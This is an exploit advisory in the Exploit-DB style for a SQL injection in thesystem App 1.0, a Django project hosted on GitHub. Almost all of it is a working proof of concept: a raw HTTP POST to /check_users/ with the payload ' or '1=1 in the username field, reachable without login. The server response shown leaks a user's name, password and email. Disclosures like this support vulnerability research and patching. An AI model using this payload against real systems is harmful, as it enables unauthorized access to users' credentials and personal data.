thesystem App 1.0 SQL Injection

`# Exploit Title: thesystem App 1.0 - 'username' SQL Injection  
# Author: Anıl Baran Yelken   
# Discovery Date: 2019-09-26   
# Vendor Homepage: https://github.com/kostasmitroglou/thesystem   
# Software Link: https://github.com/kostasmitroglou/thesystem   
# Tested Version: 1.0   
# Tested on OS: Windows 10   
# CVE: N/A   
# Description:   
# Simple SQL injection after login bypass(login_required didn't used)   
  
POST /check_users/ HTTP/1.1   
Host: 127.0.0.1:8000   
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0   
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8   
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3   
Accept-Encoding: gzip, deflate   
Content-Type: multipart/form-data; boundary=---------------------------54363239114604   
Content-Length: 327   
Connection: close   
Referer: http://127.0.0.1:8000/check_users/   
Cookie: csrftoken=Mss47G2ILybbQoFYXpVPlWNaUzGQ5yKoXGRPucrKIG4gz5X9TVEPQJtItbqN9SM6; _ga=GA1.4.567905900.1569231977   
Upgrade-Insecure-Requests: 1   
-----------------------------54363239114604   
Content-Disposition: form-data; name="csrfmiddlewaretoken"   
lZVnIo12dzwRuJbCXjjr7cVAQKa4qwhBwdk85Uq4aHpWdqtNTP2rCZB8pmU1uQjj   
-----------------------------54363239114604   
Content-Disposition: form-data; name="username"   
' or '1=1   
-----------------------------54363239114604--   
  
HTTP/1.1 200 OK   
Date: Thu, 26 Sep 2019 12:40:24 GMT   
Server: WSGIServer/0.2 CPython/3.5.3   
Content-Type: text/html; charset=utf-8   
X-Frame-Options: SAMEORIGIN   
Content-Length: 34   
User:('test', '1234', 'test@test')  
`